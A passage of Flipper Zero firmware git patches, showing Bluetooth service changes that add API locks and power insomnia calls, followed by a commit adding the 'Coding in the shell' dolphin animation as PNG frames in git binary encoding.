api_lock_wait_unlock_and_free(message.lock); return result; } @@ -19,11 +22,11 @@ void bt_disconnect(Bt* bt) { furi_assert(bt); // Send message - BtMessage message = {.type = BtMessageTypeDisconnect}; + BtMessage message = {.lock = api_lock_alloc_locked(), .type = BtMessageTypeDisconnect}; furi_check( furi_message_queue_put(bt->message_queue, &message, FuriWaitForever) == FuriStatusOk); // Wait for unlock - furi_event_flag_wait(bt->api_event, BT_API_UNLOCK_EVENT, FuriFlagWaitAny, FuriWaitForever); + api_lock_wait_unlock_and_free(message.lock); } void bt_set_status_changed_callback(Bt* bt, BtStatusChangedCallback callback, void* context) { diff --git a/applications/services/bt/bt_service/bt_i.h b/applications/services/bt/bt_service/bt_i.h index c8a0e99654..55bae76f3b 100644 --- a/applications/services/bt/bt_service/bt_i.h +++ b/applications/services/bt/bt_service/bt_i.h @@ -4,6 +4,7 @@ #include #include +#include #include #include @@ -22,8 +23,6 @@ #define BT_KEYS_STORAGE_PATH INT_PATH(BT_KEYS_STORAGE_FILE_NAME) -#define BT_API_UNLOCK_EVENT (1UL << 0) - typedef enum { BtMessageTypeUpdateStatus, BtMessageTypeUpdateBatteryLevel, @@ -48,6 +47,7 @@ typedef union { } BtMessageData; typedef struct { + FuriApiLock lock; BtMessageType type; BtMessageData data; bool* result; diff --git a/applications/system/hid_app/hid.c b/applications/system/hid_app/hid.c index a969a933a1..6c4b928dea 100644 --- a/applications/system/hid_app/hid.c +++ b/applications/system/hid_app/hid.c @@ -422,9 +422,7 @@ int32_t hid_ble_app(void* p) { furi_record_close(RECORD_STORAGE); - if(!bt_set_profile(app->bt, BtProfileHidKeyboard)) { - FURI_LOG_E(TAG, "Failed to switch to HID profile"); - } + furi_check(bt_set_profile(app->bt, BtProfileHidKeyboard)); furi_hal_bt_start_advertising(); bt_set_status_changed_callback(app->bt, bt_hid_connection_status_changed_callback, app); @@ -442,9 +440,7 @@ int32_t hid_ble_app(void* p) { bt_keys_storage_set_default_path(app->bt); - if(!bt_set_profile(app->bt, BtProfileSerial)) { - FURI_LOG_E(TAG, "Failed to switch to Serial profile"); - } + furi_check(bt_set_profile(app->bt, BtProfileSerial)); hid_free(app); diff --git a/firmware/targets/f7/ble_glue/ble_app.c b/firmware/targets/f7/ble_glue/ble_app.c index 548a86e191..37ec3d0b9e 100644 --- a/firmware/targets/f7/ble_glue/ble_app.c +++ b/firmware/targets/f7/ble_glue/ble_app.c @@ -181,9 +181,11 @@ static void ble_app_hci_event_handler(void* pPayload) { static void ble_app_hci_status_not_handler(HCI_TL_CmdStatus_t status) { if(status == HCI_TL_CmdBusy) { + furi_hal_power_insomnia_enter(); furi_mutex_acquire(ble_app->hci_mtx, FuriWaitForever); } else if(status == HCI_TL_CmdAvailable) { furi_mutex_release(ble_app->hci_mtx); + furi_hal_power_insomnia_exit(); } } diff --git a/firmware/targets/f7/furi_hal/furi_hal_bt.c b/firmware/targets/f7/furi_hal/furi_hal_bt.c index 34818e5691..48bce998ee 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_bt.c +++ b/firmware/targets/f7/furi_hal/furi_hal_bt.c @@ -9,6 +9,7 @@ #include #include +#include #include #include #include @@ -269,6 +270,7 @@ bool furi_hal_bt_start_app(FuriHalBtProfile profile, GapEventCallback event_cb, } void furi_hal_bt_reinit() { + furi_hal_power_insomnia_enter(); FURI_LOG_I(TAG, "Disconnect and stop advertising"); furi_hal_bt_stop_advertising(); @@ -298,6 +300,7 @@ void furi_hal_bt_reinit() { furi_hal_bt_init(); furi_hal_bt_start_radio_stack(); + furi_hal_power_insomnia_exit(); } bool furi_hal_bt_change_app(FuriHalBtProfile profile, GapEventCallback event_cb, void* context) { From a6bb9698ef67ab8680be46c2e465715a5c4d8de0 Mon Sep 17 00:00:00 2001 From: Astra <93453568+Astrrra@users.noreply.github.com> Date: Mon, 25 Sep 2023 17:03:51 +0900 Subject: [PATCH 30/40] [FL-3609] Add the coding in the shell animation (#3106) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: あく --- .../L2_Coding_in_the_shell_128x64/frame_0.png | Bin 0 -> 1074 bytes .../L2_Coding_in_the_shell_128x64/frame_1.png | Bin 0 -> 1076 bytes .../frame_10.png | Bin 0 -> 1209 bytes .../frame_11.png | Bin 0 -> 1231 bytes .../frame_12.png | Bin 0 -> 1229 bytes .../frame_13.png | Bin 0 -> 1182 bytes .../frame_14.png | Bin 0 -> 968 bytes .../frame_15.png | Bin 0 -> 971 bytes .../frame_16.png | Bin 0 -> 1160 bytes .../frame_17.png | Bin 0 -> 1082 bytes .../frame_18.png | Bin 0 -> 1068 bytes .../frame_19.png | Bin 0 -> 1123 bytes .../L2_Coding_in_the_shell_128x64/frame_2.png | Bin 0 -> 1122 bytes .../frame_20.png | Bin 0 -> 1153 bytes .../frame_21.png | Bin 0 -> 1134 bytes .../frame_22.png | Bin 0 -> 1021 bytes .../frame_23.png | Bin 0 -> 929 bytes .../frame_24.png | Bin 0 -> 856 bytes .../frame_25.png | Bin 0 -> 1499 bytes .../frame_26.png | Bin 0 -> 1408 bytes .../frame_27.png | Bin 0 -> 1367 bytes .../frame_28.png | Bin 0 -> 1882 bytes .../frame_29.png | Bin 0 -> 1757 bytes .../L2_Coding_in_the_shell_128x64/frame_3.png | Bin 0 -> 1115 bytes .../frame_30.png | Bin 0 -> 1426 bytes .../frame_31.png | Bin 0 -> 1423 bytes .../frame_32.png | Bin 0 -> 1482 bytes .../frame_33.png | Bin 0 -> 1518 bytes .../frame_34.png | Bin 0 -> 1539 bytes .../frame_35.png | Bin 0 -> 1536 bytes .../frame_36.png | Bin 0 -> 1539 bytes .../frame_37.png | Bin 0 -> 1528 bytes .../frame_38.png | Bin 0 -> 1837 bytes .../frame_39.png | Bin 0 -> 1780 bytes .../L2_Coding_in_the_shell_128x64/frame_4.png | Bin 0 -> 1144 bytes .../frame_40.png | Bin 0 -> 1778 bytes .../frame_41.png | Bin 0 -> 1770 bytes .../frame_42.png | Bin 0 -> 1741 bytes .../frame_43.png | Bin 0 -> 1004 bytes .../frame_44.png | Bin 0 -> 1025 bytes .../frame_45.png | Bin 0 -> 645 bytes .../frame_46.png | Bin 0 -> 837 bytes .../frame_47.png | Bin 0 -> 820 bytes .../frame_48.png | Bin 0 -> 925 bytes .../frame_49.png | Bin 0 -> 911 bytes .../L2_Coding_in_the_shell_128x64/frame_5.png | Bin 0 -> 1126 bytes .../frame_50.png | Bin 0 -> 880 bytes .../frame_51.png | Bin 0 -> 837 bytes .../frame_52.png | Bin 0 -> 876 bytes .../frame_53.png | Bin 0 -> 820 bytes .../frame_54.png | Bin 0 -> 913 bytes .../frame_55.png | Bin 0 -> 1080 bytes .../frame_56.png | Bin 0 -> 1026 bytes .../frame_57.png | Bin 0 -> 1132 bytes .../frame_58.png | Bin 0 -> 974 bytes .../frame_59.png | Bin 0 -> 1309 bytes .../L2_Coding_in_the_shell_128x64/frame_6.png | Bin 0 -> 1077 bytes .../frame_60.png | Bin 0 -> 1269 bytes .../frame_61.png | Bin 0 -> 1011 bytes .../L2_Coding_in_the_shell_128x64/frame_7.png | Bin 0 -> 988 bytes .../L2_Coding_in_the_shell_128x64/frame_8.png | Bin 0 -> 1201 bytes .../L2_Coding_in_the_shell_128x64/frame_9.png | Bin 0 -> 1214 bytes .../L2_Coding_in_the_shell_128x64/meta.txt | 23 ++++++++++++++++++ assets/dolphin/external/manifest.txt | 7 ++++++ 64 files changed, 30 insertions(+) create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_0.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_1.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_10.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_11.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_12.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_13.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_14.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_15.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_16.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_17.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_18.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_19.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_2.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_20.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_21.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_22.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_23.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_24.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_25.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_26.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_27.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_28.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_29.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_3.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_30.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_31.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_32.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_33.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_34.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_35.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_36.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_37.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_38.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_39.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_4.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_40.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_41.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_42.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_43.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_44.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_45.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_46.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_47.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_48.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_49.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_5.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_50.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_51.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_52.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_53.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_54.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_55.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_56.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_57.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_58.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_59.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_6.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_60.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_61.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_7.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_8.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_9.png create mode 100644 assets/dolphin/external/L2_Coding_in_the_shell_128x64/meta.txt diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_0.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_0.png new file mode 100644 index 0000000000000000000000000000000000000000..e34e7969077ef4ecc5a858c3924eb7b46b37b264 GIT binary patch literal 1074 zcmV-21kL-2P)dZg!=nB_N{B zd`c-=QFb%p`k{0wfB4;$G=A9NN^wZ{jT_)PkOSNbSC$6@(Zg; zXataAt)gt{1iqYK7ND|B2+)q{ zc`JWwScrl}<24I_hD&Qb^}0pSngXDWwI2WAO-LHwbB~JUUXsvh{nMNVTBH_v_Ph+z z{)q5#f7El*j!f$a{BJTQ-{{C83`Q3lbv7dvnr`(2~0x(kL=Owt!N#; zE}iep)16Q2^$ZC}2uv0LMe$Iy50#!JEV_D6ML7Fp1ucI_exhT%zZZriz z+nQyK0$R#h?wgFq>;$%=c*r3{Xyqb=lV<-5tm6FTBUqsV>$s$rR68J;3&gV$ab}14#(lO&@qISe;bVUOB zbuDUV-77dEQkVE~e;9%sGp@Zodj(VD=a5d|58A9_XHef#(g}Py?nq#CsAWsI-?DVOIrXbAaqwJXtSWG!@{xxFl#}kH5HB~ z1mX}d%hdI3*SZ5b{!8KP2rOj*R$GjrmLQVWQ_ka%cjG=yPv_s=UhjsI-S|HQ%zUsb zFZPLcM;rGk(>H}atyR)iwiZ!^VEca^>uvWFF@>El|KmtaQ}0M?p=}`bTt~qlscb}H s`I-f24>>yRF4K?d^XvwG!`z?p7c~-7@0VfV)c^nh07*qoM6N<$g2CwqH~;_u literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_1.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_1.png new file mode 100644 index 0000000000000000000000000000000000000000..cc6032ad33826b2a4aa05d0f644abc6d87efc949 GIT binary patch literal 1076 zcmV-41k3x0P)&dKX|=fPqt%esFNM7pWnyvzfrXk+(+-<5&QW~6QfyYaX)W< zVl)d~0cm25GTBN5Zq6SM&>6)-XJ!U(S{`6?R1Z*G5A_JBcevXVy9Ur7U#w%A_O7?; zSd~85na?U2%9VZQ8UPpISQ}iOy5HufT#Hly_v1e{#B78e~1^5`o!}9 zt+i8;##d{tNs+3W(Q&MSN8o*ql;y^t)umA)@FMuc$#^);wOe&*Mu#rT?qeWzFqUS=kj zPZ?oz#}!5p5`k78?+_mNp>=oya%4u^*^@B>3Sx?MiZdF)?ED(T5`j3Q z&HhfLP24k=2wZ@SC+!9Ui9qeQwlqlM&MP;%I2^4#S-7#d1|YrFlk&7OXgQ?bry0@x zp9L0yUKCFfgi@Y$U6Cid43r228C3vMGGeeq;O2xPfjuq#=Eu@GPe^*#Sl3I(me`EU zlYPkJ3~rFRAL08*G&%Jb6ReYCXZS&(~4Wmlce86j9A z5MZVyASwh)1Uk$x=x2ZWbXs7K=y`&1QFesYoC{Z$<6Uy@C~~dxr2A zL!`BY&)&>l!6#s2wBXPAZE;|FrXx z*wpT2o!gPV3_v2#i{yFNAyGiuDC<1Ui!K|P_RR(|R+P}Y0ByEfWoX(GT@gWs+*cB# zR@q(IIub}f^GcgjrSa4#5%`T3DO;Vb4M5T@^o7t4Y;6D(ZUnm+!uAGW>7E^yh3yUC zIQ&1Ova%7B0epiP!HSdt5V#SnI_oLw%b-;)-XpV*aAwK_5TwZA>b#FbkHPPR_uhO} zewKh;EM8-ESFf?eUklf^o)Zk}0000tl_mwyn|2^G-#Ir~O9F8Qw;Yb1;jwHb0NCHg2ec#u8-|$*1quG1xw0b;90!+f^ z^MTjeb2)j)#pGfMyK3A^w6&xDn0R*tQ5L?ACd*F%XQ#&~NmElf{f zEG2-KrCvrS5&E%Y3y8Y$;`XcwZgqQdYtcj&dWPyj*PilP{Z{*)etR*M06qJ6vGtH3 z+J>yt`d#1Gwk{<4m`Gz@PHF>BKUlvRrV(J2aPyEL+MZS?TCq%!X||{yZ=aa>lR{Cm zjbMrfn4#Ju159n;$8ZA74B2Ye=q;Pz7`g?_j@P}qAkr6)aI4$aM4884jw4bg($@%v z5nyGq#!G@oJ!OkQduw@Ke@keZ!m_K|*6KvU6ZN$P+hhV~fc+_!aPo*U)RwFhty*p3 zto~SIX~7T;uyXa+@Cd`y0vt;Tz$T+Pmz^Z&!mkyLc+`7q96L%6j0D;a>U~>&*LGU+ z2;~84dz2sWpql`m)z^{;u@DtND@meFVnlGt=hpEuyU#FH1Zt^M`6;kgb8UmdGKQyg zO5Jvk;6%c*=NP!4TLVPgItzE$pdtw%hTXP`9neL95tEOeYx|ppoZvW?usjjOG(Zh)FxGnlRz^;ijS5KZ_*WBs=)Sk# zNDOMWt+)y#WSzY!&fMqym`Z@_ z(&KVjCOY}ON6Sf)|1m8JVEZQ9E4}4=bwEp0P`hU>y6}`i<)j<8@)@JF!4v{mtC$UL z#$+>i|2R)J(IW(<9h-bvKWd}blT8tUkt|vLTl?&SNVbk;0P8ZAEh?vlj$35{--c5) z!DE@gC!o36lkv5A0PWNfiMA1$Jj+JQ=y|hx$cEkb;?*7?8VYKeIO~`eiB92#Ch0BvAV#rRs?#n^W-zZhwdFG0(-FY#MiKnjgJt4EqKcWBgk_E6fH=x*?J!Ebs9iBgnBa} zX5ylh%AOkx_jS%E?L1=n_6IR;^W7I$iaPl8>3WjX~ zt6%5Vz~0F9*qsKI0NN{6R;pE&*PiW&6G;FGFlxfk3z&($@Q((VF-awKd&BBFjikQ; XkO~x(GQCul00000NkvXXu0mjfg@`%- literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_11.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_11.png new file mode 100644 index 0000000000000000000000000000000000000000..3d94c89103c538422a75bf4cfcbb919f4997c1fe GIT binary patch literal 1231 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 literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_14.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_14.png new file mode 100644 index 0000000000000000000000000000000000000000..42f844d3d73b33f409350c8b9bdb4b12d17202ea GIT binary patch literal 968 zcmV;(12_DMP)A%9 zh#sIJ-MiBD)GyF`UhDr{J<&bLsKBqjE?ogoXvc9`0Vh1TPpQluBi`GYQf8bH#Zham z+)P#U2z&wzj0P7(7Nh{`?W5t!0Ld5_RF)v)#L%n%kam`os6E}25tmj}hfju>8`)S9bf;m%&<#PL2)ULJf%CS|7 z_>nTOEm~R9Fr)RKIRkK&OO4T@TDsUCGia$7%jASL?J9xVDX}z8yffK=S20+t?iqwV@ zdMwTe_Ub{ji_aOytNB*v)B3I1fD?g90KJprB959ME;_MHi}B*h(oE%3tT2-~DuOhD z6U^K#+=aD0ZND^un`07yWZLL$Hl!=)@uJbt)h;XxWSfAFZQg(TgD1u89ILPYh-_y1+tT246Mppom@k536%$l~XX9}(6(NnM2EJej-0&#usu7KN5iqetC zvDUVE%IvZF`0pi6pp&-dHusJD!%}D`lP6_~sG|6LmBA5c$oD=}iq9#%%&`1F= zw5NYNh#&<(klsyieA!;#wf qx68JOLGm#KXeXK5;&py0rThSM<-`HmF98bx0000A%9 zh#sIJ-MiBD)GyF`UhDr{J<&bLsKBqjE?ogoXvc9`0Vh1TPpQluBi`GYQf8bH#Zham z+)P#U2z&wzj0P7(7Nh{`?W5t!0Ld5_RF)v)#L%n%kam`os6E}25tmj}hfju>8`)S9bf;m%&<#PL2)ULJf%CS|7 z_>nTOEm~R9Fr)RKIRkK&OO4T@TDsUCGia$7%jASL?J9xVDX}z8yffK=S20+t?iqwV@ zdMwTe_Ub{ji_aOytNB*v)B3I1fD?g90KJprB959ME;_MHi}B*h(oE%3tT2-~DuOhD z6U^K#+=aD0ZND^un`07yWZLL$Hl!=)@uJbt)h;XxWSfAFZQg(TgD1u89ILPYh-_y1+tT246Mppom@k536%$l~XX9}(6(NnM2EJej-0&#usu7KN5iqetC zvDUVE%IvZF`0pi6pp&-dHusJD!%}D`lP6_~sG|6LmBA5c$oZ&ZuqSB%!QYO&I z48YKy{_P-w6aYbbH!-phTrY$~MtYP@vq8jbkr{x{d+j~qu#f@(dau1j6M^_RcsKWt z(6k@<8%3D`6lf-h6!ny|l+Uyl^+ZR(YZEE@OCdu*v=h6MXyZO5hX5l{10;Vsc5}=> t9I1_eyKIXXBp*Y7c9OX*Ugwum$`2~Y#{v3|vJwCQ002ovPDHLkV1kB4%v}Hg literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_16.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_16.png new file mode 100644 index 0000000000000000000000000000000000000000..2f4b3b839c503640240c59136155cdfe758c9b68 GIT binary patch literal 1160 zcmV;31b6$1P)oDIln*A>5bA7&Qu41kAKo zt+kfKYw>6I01|ugxi7Bk+BuHUfJXK-Ie$v|JE+_V{BXsLt;-&dfK(3UHQ~p zupA`|falNE0VgQC7o~r$4l{=es_kF>M&5c-iaB)^IY{(9$qS6C12GGA+2i-ex)FZ^J>k+aX*rP zd-|a6L-d4yoRvFa5iNNq&_WhTxY8K|RYyAc<>Ypf_5sc(H zX80u9K1}ZfLWjw6@L+}Zcvi|pO6C@y{I%*!WgMuj?nIcJKwNH7uJ&lP)n`jF)DbW& z$K-0&$M>v+?j^#igC>&`2)}E?n_lcbW#cTyXn&S@^*FdzEO7!Y=Cox6D1lHWT`HIQ z)*Nt+5W>2$y|JQhh_y-{a_d!D}q)!=U@RCv#^-ZyV{Q z4Q=~V6z&PQ_*70HG(VcusaD|H!D`Jqr$oH6xhPaAFa%i!<&MVxafH&-=t1v^B9Le&hVT)j0 z{i`tD0-W+fg%+!Xf2u{CN`O-**}|JbK#XYwc-qRx*hK=*=V|7YKEOYCzZ!Nbk^lhs zxcd!A0wDCHyPu3C00Nczj!c9k005=@8&Qdne<+fG?%c1_qk*yyzyy0HNMe<_{kS3Y;;witB aQoaC!`qv1i-WbgQ0000 literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_17.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_17.png new file mode 100644 index 0000000000000000000000000000000000000000..7cba6f7953b0656c3d11da53f55e2ce398f276ba GIT binary patch literal 1082 zcmV-A1jYM_P)`6pHRCt{2UD=N0APl5e`Tt*LA9j&EHMX${NrQ1ottJUqpnPEH znNO{?mc+66^X(2KzKg3RKA+Dw`w<#c$*wleS1JEGm6qT+wDDbWoG*H@8aoru$iSC1p5`6Z!bO}H~Cyvt!81Ue}r8-ZPc<*FNn(+=PKDE}$ zMXI7p;2S`}XyAm%0!e^+c{I2*Kw=CiR2CuQ$kCI2)DRXjn4CatTyhGfZ>_B6BwCzL zsa;Ha`Y!d&1DuGa1tfTSEY}fiX)3!E+3$Q+xGP~%GE=kS^8ix zL!8Ot>eziE5mqzMFdPY7Wx%{IEYz&RwqzM+mHo z>w{!YaJSEsKQhdF0o;AhAX)NSNYy)UK>H3~00!DlVKgKG2&D6Zk%^E5_z!8jm}-NFL`VVRE`ACQQLRMcE0GB+0>al&&5y7 zrqBpThBb?^We~VIe>^~C7KN_N3f?q5z~-a?Hm50oQp$%btH<;_zph>5_gnd`;65Xu z#sC#|uW8v}uNgv#(5F?Ys(XxK-ArLV@K_D+&3ktPQ>s~8JM1oJP zTz>4SyH+<3yd$a?&;n-uQ}3xiRyoo==rh1UU`tI_I_qApU@0i%`ATUJwOjQYIksvR z-;)QgiVIWk}Al2*#JYsfwPxK;m|tlx_(2B`3c>gm8*IIRfJ+d^7S)zWF# zX&&fG=PG!grF$iC7Uhqy!k%r}2*5!gcc1(iLD~uP?2bwGsrUBOh38>i*Yb!UgjcqM zy`9su#~`JVj$3&|=u}U9;(8~LH>kI<(4DO0JzVbu(trt7SWj?;ZqHgPk=6>OKH{Jt{|{}r=P8Rdx z=_3jQ@&MAyAQtG3RL?9zTFaN}s-35^m{y?2&q?)J9cUWJk3E|wBO45fC0fHlPd?E) zo$^Q!II_{c>2{@nlb(;jW3zzO$ID1_eGV0N{%V*&^v>kk|cU5ulXB+MT zR&AJ_876?0E&n*;t?_fTXUo44v^gn&%}D`lP6~jrdMrah7UWU@o09@y^t@%fGARIo 